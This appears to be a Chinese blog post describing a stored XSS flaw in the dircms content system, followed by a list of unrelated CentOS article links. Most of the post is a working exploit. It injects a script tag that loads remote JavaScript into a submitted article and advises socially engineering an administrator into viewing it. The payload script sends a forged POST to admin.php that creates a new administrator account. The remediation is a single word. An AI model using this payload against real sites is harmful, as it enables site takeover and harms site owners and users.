dircms XSS漏洞和利用方法及修复
1 $info['content']=add_alt($info['content'],$info['title']); //////////////////////自动加 ALT标签
2 $info['title']=sub_string($info['title'],160,''); //标题
3 $info['keywords']=sub_string($info['keywords'],100,''); //关键字
4 $info['content']=stripslashes($info['content']); //这里是内容 没有使用sub_string过滤
5 $info['status']=in_array($_groupid,$passpriv) || $_groupid==1?1:0;
再看 sub_string
1 function sub_string($string, $length, $dot='')
2 {
3 $string=trim($string);
4 $strlen = strlen($string);
5 if($strlen <= $length) return $string;
6 $string = str_replace(array(' ', '&', '"', ''', '“', '”', '—', '<', '>', '·', '…'), array(' ', '&', '"', "'", '“', '”', '—', '<', '>', '·', '…'), $string); //这里做了转义 -0-! 要是标题没转换更好。。。。。。
利用方法 在FCKEDIT里点源代码
然后写 < src="http://127.0.0.1/1.js" </>
这里简单 不明白的拿块豆腐自杀好了
然后等待管理员查看投稿的文章 (这个你可以社工他) 就会触发XSS攻击
远程JS里写 当然 内容限制长度是500 也可以不用调用远程直接写进去可以了
1 var oReq = new ActiveXObject("MSXML2.XMLHTTP");
2 var str = "do_submit=1&newadmin[username]=t00ls&newadmin[allowmultilogin]=1&newadmin[roleid]=1&newadmin[disabled]=0";
3 oReq.open("POST","http://127.0.0.1/admin.php?file=admin&action=add",false);
4 oReq.setRequestHeader("Content-Length",str.length);
5 oReq.setRequestHeader("CONTENT-TYPE","application/x-www-form-urlencoded");
6 oReq.send(str);
newadmin[username]=t00ls 为会员注册账号 既可提升到管理员权限
修复:过滤
关健词: XSS漏洞
新文章:
- CentOS7下图形配置网络的方法
- CentOS 7如何添加删除用户
- 如何解决centos7双系统后丢失windows启动项
- CentOS单网卡如何批量添加不同IP段
- CentOS下iconv命令的介绍
- Centos7 SSH密钥登陆及密码密钥双重验证详解
- CentOS 7.1添加删除用户的方法
- CentOS查找/扫描局域网打印机IP讲解
- CentOS7使用hostapd实现无AP模式的详解
- su命令不能切换root的解决方法
- 解决VMware下CentOS7网络重启出错
- 解决Centos7双系统后丢失windows启动项
- CentOS下如何避免文件覆盖
- CentOS7和CentOS6系统有什么不同呢
- Centos 6.6默认iptable规则详解